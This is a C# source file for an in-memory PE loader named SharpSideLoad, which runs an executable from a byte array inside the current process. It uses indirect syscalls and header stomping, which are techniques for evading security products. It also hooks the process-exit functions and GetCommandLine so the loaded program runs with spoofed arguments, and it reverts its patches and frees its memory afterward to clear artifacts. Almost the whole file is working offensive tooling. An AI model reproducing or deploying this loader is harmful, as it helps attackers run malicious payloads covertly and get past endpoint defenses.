threading gets funky. assume jit tripping is being used here.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Xml.Linq;
using static SharpSideLoad.Delegates;
using static SharpSideLoad.Structs;
namespace SharpSideLoad
{
//Thanks apollo
public class PeLoader
{
public byte[] rawbytes;
public int size;
dll ntdll;
// General PE stuff
public Structs.Win32.IMAGE_DOS_HEADER dosHeader;
public Structs.Win32.IMAGE_FILE_HEADER fileHeader;
public Structs.Win32.IMAGE_OPTIONAL_HEADER64 optionalHeader;
public Structs.Win32.IMAGE_SECTION_HEADER[] imageSectionHeaders;
public IntPtr peBase = IntPtr.Zero;
public List<String> originalModules = new List<String>();
// To prevent thread exiting from killing the process
byte[] terminateProcessOriginalBytes;
byte[] corExitProcessOriginalBytes;
byte[] ntTerminateProcessOriginalBytes;
byte[] rtlExitUserProcessOriginalBytes;
// For arg fixing
public string fileName;
public string[] args;
byte[] originalCommandLineFuncBytes;
string commandLineFunc;
//Additional artifacts to clear at the end
public Dictionary<IntPtr, uint> sectionAddresses = new Dictionary<IntPtr, uint>();
/// <summary>
/// Reads and parses properties of the PE from disc. Temporarily writes into memory.
/// </summary>
/// <param name="ntdll"></param> An ntdll instance for indirect syscalls
/// <param name="pe"></param> PE byte array
public PeLoader(dll ntdll, byte[] pe, string fileName, string[] args)
{
this.ntdll = ntdll;
this.fileName = fileName;
this.args = args;
rawbytes = pe;
IntPtr tmpPtrDosHeader = IntPtr.Zero;
object[] argsNtAllocateVirtualMemory = new object[] { (IntPtr)(-1), tmpPtrDosHeader, IntPtr.Zero, (IntPtr)pe.Length, Structs.Win32.Enums.AllocationType.Commit | Structs.Win32.Enums.AllocationType.Reserve, Structs.Win32.Enums.MemoryProtection.ReadWrite};
ntdll.indirectSyscallInvoke<Delegates.NtAllocateVirtualMemory>("NtAllocateVirtualMemory", argsNtAllocateVirtualMemory); //Allocate space for the PE
tmpPtrDosHeader = (IntPtr)argsNtAllocateVirtualMemory[1];
var unmanagedBytes = GCHandle.Alloc(rawbytes, GCHandleType.Pinned);
ntdll.indirectSyscallInvoke<Delegates.NtWriteVirtualMemory>("NtWriteVirtualMemory", new object[] { (IntPtr)(-1), tmpPtrDosHeader, unmanagedBytes.AddrOfPinnedObject(), (uint)pe.Length, (uint)0});
unmanagedBytes.Free();
dosHeader = (Structs.Win32.IMAGE_DOS_HEADER)Marshal.PtrToStructure(tmpPtrDosHeader, typeof(Structs.Win32.IMAGE_DOS_HEADER));
IntPtr tmpPtrFileHeader = IntPtr.Add(tmpPtrDosHeader, (int)dosHeader.e_lfanew+4); //FileHeader is 4 bytes into the NT header
fileHeader = (Structs.Win32.IMAGE_FILE_HEADER)Marshal.PtrToStructure(tmpPtrFileHeader, typeof(Structs.Win32.IMAGE_FILE_HEADER));
IntPtr tmpPtrOptionalHeader = IntPtr.Add(tmpPtrFileHeader, 20);
optionalHeader = (Structs.Win32.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(tmpPtrOptionalHeader, typeof(Structs.Win32.IMAGE_OPTIONAL_HEADER64));
imageSectionHeaders = new Structs.Win32.IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int i = 0; i < imageSectionHeaders.Length; i++)
{
IntPtr tmpPtrImageSectionHeader = IntPtr.Zero;
if (i == 0) tmpPtrImageSectionHeader = IntPtr.Add(tmpPtrOptionalHeader, Marshal.SizeOf(optionalHeader));
else tmpPtrImageSectionHeader = IntPtr.Add(tmpPtrOptionalHeader, Marshal.SizeOf(optionalHeader) + Marshal.SizeOf(imageSectionHeaders[i-1])*i);
imageSectionHeaders[i] = (Structs.Win32.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(tmpPtrImageSectionHeader, typeof(Structs.Win32.IMAGE_SECTION_HEADER));
}
Console.WriteLine("Base of PE is at 0x{0:X}", (long)tmpPtrDosHeader);
Console.WriteLine("Nt headers at 0x{0:X}", (long)IntPtr.Add(tmpPtrFileHeader, -4));
Console.WriteLine("Opt headers at 0x{0:X}", (long)tmpPtrOptionalHeader);
ntdll.indirectSyscallInvoke<Delegates.NtFreeVirtualMemory>("NtFreeVirtualMemory", new object[] { (IntPtr)(-1), tmpPtrDosHeader, (IntPtr)Marshal.SizeOf(dosHeader), (uint)0x8000 });//Stomp header
Map();
ImportResolver();
}
public void Map()
{
object[] argsNtAllocateVirtualMemory = new object[] { (IntPtr)(-1), peBase, IntPtr.Zero, (IntPtr)optionalHeader.SizeOfImage, Structs.Win32.Enums.AllocationType.Commit, Structs.Win32.Enums.MemoryProtection.ReadWrite };
ntdll.indirectSyscallInvoke<Delegates.NtAllocateVirtualMemory>("NtAllocateVirtualMemory", argsNtAllocateVirtualMemory);
peBase = (IntPtr)argsNtAllocateVirtualMemory[1];
// Copy Sections
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IntPtr sectionLocation = IntPtr.Add(peBase, (int)imageSectionHeaders[i].VirtualAddress);
argsNtAllocateVirtualMemory = new object[] { (IntPtr)(-1), sectionLocation, IntPtr.Zero, (IntPtr)imageSectionHeaders[i].SizeOfRawData, Structs.Win32.Enums.AllocationType.Commit, Win32.Enums.PAGE_READWRITE };
ntdll.indirectSyscallInvoke<Delegates.NtAllocateVirtualMemory>("NtAllocateVirtualMemory", argsNtAllocateVirtualMemory);
sectionLocation = (IntPtr)argsNtAllocateVirtualMemory[1];
#if debug
Console.WriteLine("Copying {0} to 0x{1:X}", new string(imageSectionHeaders[i].Name), (long)sectionLocation);
#endif
var unmanagedBytes = GCHandle.Alloc(rawbytes.ToList().GetRange((int)imageSectionHeaders[i].PointerToRawData, (int)imageSectionHeaders[i].SizeOfRawData).ToArray(), GCHandleType.Pinned);
ntdll.indirectSyscallInvoke<Delegates.NtWriteVirtualMemory>("NtWriteVirtualMemory", new object[] { (IntPtr)(-1), sectionLocation, unmanagedBytes.AddrOfPinnedObject(), (uint)imageSectionHeaders[i].SizeOfRawData, (uint)0 });
sectionAddresses.Add(sectionLocation, imageSectionHeaders[i].SizeOfRawData);
unmanagedBytes.Free();
}
// Base Relocations
long delta = (long)peBase - (long)optionalHeader.ImageBase;
IntPtr pRelocationTable = IntPtr.Add(peBase, (int)optionalHeader.BaseRelocationTable.VirtualAddress);
Structs.Win32.IMAGE_BASE_RELOCATION relocationEntry = (Structs.Win32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocationTable, typeof(Structs.Win32.IMAGE_BASE_RELOCATION));
// Starting values
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(Structs.Win32.IMAGE_BASE_RELOCATION));
IntPtr nextEntry = pRelocationTable;
int sizeOfNextBlock = (int)relocationEntry.SizeOfBlock;
IntPtr offset = pRelocationTable;
while (true)
{
IntPtr pRelocationTableNextBlock = IntPtr.Add(pRelocationTable, sizeOfNextBlock);
Structs.Win32.IMAGE_BASE_RELOCATION nextRelocationEntry = (Structs.Win32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocationTableNextBlock, typeof(Structs.Win32.IMAGE_BASE_RELOCATION));
IntPtr pRelocationEntry = IntPtr.Add(peBase, (int)relocationEntry.VirtualAdress);
#if debug
Console.WriteLine("Section Has {0} Entries",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
Console.WriteLine("Next Section Has {0} Entries", (int)(nextRelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);
#endif
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) // TODO figure out magic numbers
{
UInt16 value = (ushort)Marshal.ReadInt16(offset, 8 + 2 * i); // TODO figure out magic numbers
UInt16 type = (ushort)(value >> 12); // TODO figure out magic numbers
UInt16 fixup = (ushort)(value & 0xfff); // TODO figure out magic numbers
switch (type)
{
case 0x0:
break;
case 0xA:
var patchAddress = (IntPtr)(pRelocationEntry.ToInt64() + fixup);
var originalAddr = Marshal.ReadInt64(patchAddress);
Marshal.WriteInt64(patchAddress, originalAddr + delta);
break;
}
}
offset = (IntPtr)(pRelocationTable.ToInt64() + sizeOfNextBlock);
sizeOfNextBlock += (int)nextRelocationEntry.SizeOfBlock;
relocationEntry = nextRelocationEntry;
nextEntry = (IntPtr)(nextEntry.ToInt64() + sizeOfNextBlock);
if (nextRelocationEntry.SizeOfBlock == 0) break;
}
return;
}
public void ImportResolver()
{
int IDT_SINGLE_ENTRY_LENGTH = 20; // Each Import Directory Table entry is 20 bytes long <https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table>
int IDT_IAT_OFFSET = 16; // Offset in IDT to Relative Virtual Address to the Import Address Table for this DLL
int IDT_DLL_NAME_OFFSET = 12; // Offset in IDT to DLL name for this DLL
int ILT_HINT_LENGTH = 2; // Length of the 'hint' prefix to the function name in the ILT/IAT
var currentProcess = Process.GetCurrentProcess();
foreach (ProcessModule module in currentProcess.Modules)
{
originalModules.Add(module.ModuleName);
}
// Resolve Imports
IntPtr pIDT = IntPtr.Add(peBase, (int)optionalHeader.ImportTable.VirtualAddress);
int dllIterator = 0;
while (true)
{
IntPtr pDllImportTableEntry = IntPtr.Add(pIDT, IDT_SINGLE_ENTRY_LENGTH * dllIterator);
int iatRVA = Marshal.ReadInt32(pDllImportTableEntry, IDT_IAT_OFFSET);
IntPtr pIAT = IntPtr.Add(peBase, iatRVA);
int dllNameRVA = Marshal.ReadInt32(IntPtr.Add(pDllImportTableEntry, IDT_DLL_NAME_OFFSET));
IntPtr pDllname = IntPtr.Add(peBase, dllNameRVA);
string dllName = Marshal.PtrToStringAnsi(pDllname);
if (string.IsNullOrEmpty(dllName)) break;
IntPtr moduleHandle = IntPtr.Zero;
object[] argsLdrLoadDLL = new object[] { dllName };
moduleHandle = (IntPtr)Utils.dynamicAPIInvoke<Delegates.LoadLibraryA>("kernel32.dll", "LoadLibraryA", argsLdrLoadDLL);
IntPtr pCurrentIATEntry = pIAT;
while (true) // For each DLL iterate over its functions in the IAT and patch the IAT with the real address <https://tech-zealots.com/malware-analysis/journey-towards-import-address-table-of-an-executable-file/>
{
IntPtr pDllFuncName = IntPtr.Add(peBase, Marshal.ReadInt32(pCurrentIATEntry) + ILT_HINT_LENGTH);
string dllFuncName = Marshal.PtrToStringAnsi(pDllFuncName);
if (string.IsNullOrEmpty(dllFuncName)) break;
IntPtr pRealFunction = Utils.getFuncLocation(moduleHandle, dllFuncName);
if (pRealFunction == IntPtr.Zero) break;
else Marshal.WriteInt64(pCurrentIATEntry, pRealFunction.ToInt64());
//Console.WriteLine("Function {0}", dllFuncName);
pCurrentIATEntry = IntPtr.Add(pCurrentIATEntry, IntPtr.Size); // Shift the current entry to point to the next entry along, as each entry is just a pointer this is one IntPtr.Size
}
dllIterator++;
}
PatchExit();
}
public void PatchExit()
{
IntPtr pExitThread = Utils.getFuncLocation("kernelbase", "ExitThread");
/*
mov rcx, 0x0 #takes first arg
mov rax, <ExitThread> #
push rax
ret
*/
List<byte> exitThreadPatchBytes = new List<byte>() { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 };
byte[] pExitThreadAsByes = BitConverter.GetBytes((long)pExitThread);
exitThreadPatchBytes.AddRange(pExitThreadAsByes);
exitThreadPatchBytes.Add(0x50);
exitThreadPatchBytes.Add(0xC3);
terminateProcessOriginalBytes = Utils.PatchFunction(ntdll, "kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray());
corExitProcessOriginalBytes = Utils.PatchFunction(ntdll, "mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray());
rtlExitUserProcessOriginalBytes = Utils.PatchFunction(ntdll,"ntdll", "RtlExitUserProcess", exitThreadPatchBytes.ToArray());
UpdateArgs();
}
public void UpdateArgs()
{
bool PatchGetCommandLineFunc(dll ntdll, string newCommandLineString)
{
IntPtr pCommandLineString = (IntPtr)Utils.dynamicAPIInvoke<Delegates.GetCommandLineA>("Kernel32", "GetCommandLineW", new object[] { });
string commandLineString = Marshal.PtrToStringAuto(pCommandLineString);
#if debug
IntPtr pCommandLineStringA = (IntPtr)Utils.dynamicAPIInvoke<Delegates.GetCommandLineA>("Kernel32", "GetCommandLineA", new object[] { });
string commandLineStringA = Marshal.PtrToStringAuto(pCommandLineStringA);
Console.WriteLine($"Wide: {commandLineString}, length is {commandLineString.Length}");
for (int i = 0; i < commandLineString.Length; i++)
{
Console.WriteLine($"Wide byte {i} is {Marshal.ReadByte(IntPtr.Add(pCommandLineString, i))}");
}
Console.WriteLine($"Ansi: {commandLineStringA}, length is {commandLineStringA.Length}");
for (int i = 0; i < commandLineStringA.Length; i++)
{
Console.WriteLine($"Ansi byte {i} is {Marshal.ReadByte(IntPtr.Add(pCommandLineStringA, i))}");
}
#endif
Encoding _encoding = Encoding.UTF8;
if (commandLineString != null)
{
var stringBytes = new byte[commandLineString.Length];
// Copy the command line string bytes into an array and check if it contains null bytes (so if it is wide or not
Marshal.Copy(pCommandLineString, stringBytes, 0, commandLineString.Length); // Even if ASCII won't include null terminating byte
if (!new List<byte>(stringBytes).Contains(0x00)) _encoding = Encoding.ASCII; // At present assuming either ASCII or UTF8
#if DEBUG
// Print the string bytes and what the encoding was determined to be
var stringBytesHexString = "";
foreach (var x in stringBytes)
{
stringBytesHexString += x.ToString("X") + " ";
}
Console.WriteLine($"[*] String bytes: {stringBytesHexString}");
Console.WriteLine($"[*] String encoding determined to be: {_encoding}");
#endif
}
// Set the GetCommandLine func based on the determined encoding
commandLineFunc = _encoding.Equals(Encoding.ASCII) ? "GetCommandLineA" : "GetCommandLineW"; // We're always reading GetCommandLineW so idk why this matters
#if DEBUG
Console.WriteLine($"Patching {commandLineFunc} because Encoding is {_encoding}");
Console.WriteLine($"[*] Old GetCommandLine return value: {Marshal.PtrToStringAuto(pCommandLineString)}");
#endif
// Write the new command line string into memory
IntPtr pNewString = _encoding.Equals(Encoding.ASCII)
? Marshal.StringToHGlobalAnsi(newCommandLineString)
: Marshal.StringToHGlobalUni(newCommandLineString);
#if DEBUG
Console.WriteLine($"[*] New String Address: 0x{pNewString.ToInt64():X}");
#endif
// Create the patch bytes that provide the new string pointer
var patchBytes = new List<byte>() { 0x48, 0xB8 }; // TODO architecture
var pointerBytes = BitConverter.GetBytes(pNewString.ToInt64());
patchBytes.AddRange(pointerBytes);
patchBytes.Add(0xC3);
// Patch the GetCommandLine function to return the new string
originalCommandLineFuncBytes = Utils.PatchFunction(ntdll, "kernelbase", commandLineFunc, patchBytes.ToArray());
if (originalCommandLineFuncBytes == null) return false;
#if DEBUG
var pNewCommandLineString = (IntPtr)Utils.dynamicAPIInvoke<Delegates.GetCommandLineA>("Kernel32", "GetCommandLineW", new object[] { }); ;
Console.WriteLine($"[*] New GetCommandLine return value: {Marshal.PtrToStringAuto(pNewCommandLineString)}");
#endif
return true;
}
string newCommandLineString = $"\\"{fileName}\\" {string.Join(" ", args)}";
// Patching GetCommandLine and running the PE
PatchGetCommandLineFunc(ntdll, newCommandLineString);
RunPE();
}
public void RunPE()
{
// Adjusting memory protections before takeoff
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IntPtr sectionLocation = IntPtr.Add(peBase, (int)imageSectionHeaders[i].VirtualAddress);
uint memProtectionConstant = 0;
Structs.Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS sectionProtect = (Structs.Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS)imageSectionHeaders[i].Characteristics;
if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
memProtectionConstant = Win32.Enums.PAGE_EXECUTE_READWRITE;
else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE))
memProtectionConstant = Win32.Enums.PAGE_EXECUTE_READ;
else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
memProtectionConstant = Win32.Enums.PAGE_READWRITE;
else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE) && sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
memProtectionConstant = Win32.Enums.PAGE_EXECUTE_WRITECOPY;
else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_WRITE))
memProtectionConstant = Win32.Enums.PAGE_WRITECOPY;
else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_EXECUTE))
memProtectionConstant = Win32.Enums.PAGE_EXECUTE;
else if (sectionProtect.HasFlag(Win32.Enums.IMAGE_SECTION_HEADER_CHARACTERISTICS.IMAGE_SCN_MEM_READ))
memProtectionConstant = Win32.Enums.PAGE_READONLY;
object[] argsNtProtectVirtualMemory = new object[] { (IntPtr)(-1), sectionLocation, (IntPtr)imageSectionHeaders[i].SizeOfRawData, memProtectionConstant, (uint)0 }; //fixing the
ntdll.indirectSyscallInvoke<Delegates.NtProtectVirtualMemory>("NtProtectVirtualMemory", argsNtProtectVirtualMemory);
}
IntPtr threadStartAddress = IntPtr.Add(peBase, (int)optionalHeader.AddressOfEntryPoint);
IntPtr threadHandle = IntPtr.Zero;
object[] argsNtCreateThreadEx = new object[] { threadHandle, Structs.Win32.Enums.ACCESS_MASK.GENERIC_ALL, IntPtr.Zero, Process.GetCurrentProcess().Handle, threadStartAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero };
ntdll.indirectSyscallInvoke<Delegates.NtCreateThreadEx>("NtCreateThreadEx", argsNtCreateThreadEx);
threadHandle = (IntPtr)argsNtCreateThreadEx[0];
//Utils.dynamicAPIInvoke<Delegates.WaitForSingleObject>("kernel32.dll", "WaitForSingleObject", new object[] { threadHandle, (uint)5000});
//ntdll.indirectSyscallInvoke<Delegates.NtWaitForSingleObject>("NtWaitForSingleObject", new object[] { threadHandle, true,(uint)0 });
Structs.LargeInteger li = new Structs.LargeInteger();
long second = -10000000L;
li.QuadPart = 5*second;
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(li));
Marshal.StructureToPtr(li, ptr, true);
ntdll.indirectSyscallInvoke<Delegates.NtWaitForSingleObject>("NtWaitForSingleObject", new object[] { threadHandle, false, ptr });
Console.WriteLine("bruh2");
ReturnPatches();
foreach (var section in sectionAddresses)
{
ntdll.indirectSyscallInvoke<Delegates.NtFreeVirtualMemory>("NtFreeVirtualMemory", new object[] { (IntPtr)(-1), section.Key, (IntPtr)section.Value, (uint)0x8000 });
}
}
public void ReturnPatches()
{
Utils.PatchFunction(ntdll, "kernelbase", commandLineFunc, originalCommandLineFuncBytes.ToArray());
Utils.PatchFunction(ntdll, "kernelbase", "TerminateProcess", terminateProcessOriginalBytes.ToArray());
Utils.PatchFunction(ntdll, "mscoree", "CorExitProcess", corExitProcessOriginalBytes.ToArray());
Utils.PatchFunction(ntdll, "ntdll", "RtlExitUserProcess", rtlExitUserProcessOriginalBytes.ToArray());
Console.WriteLine("reverted");
}
}
}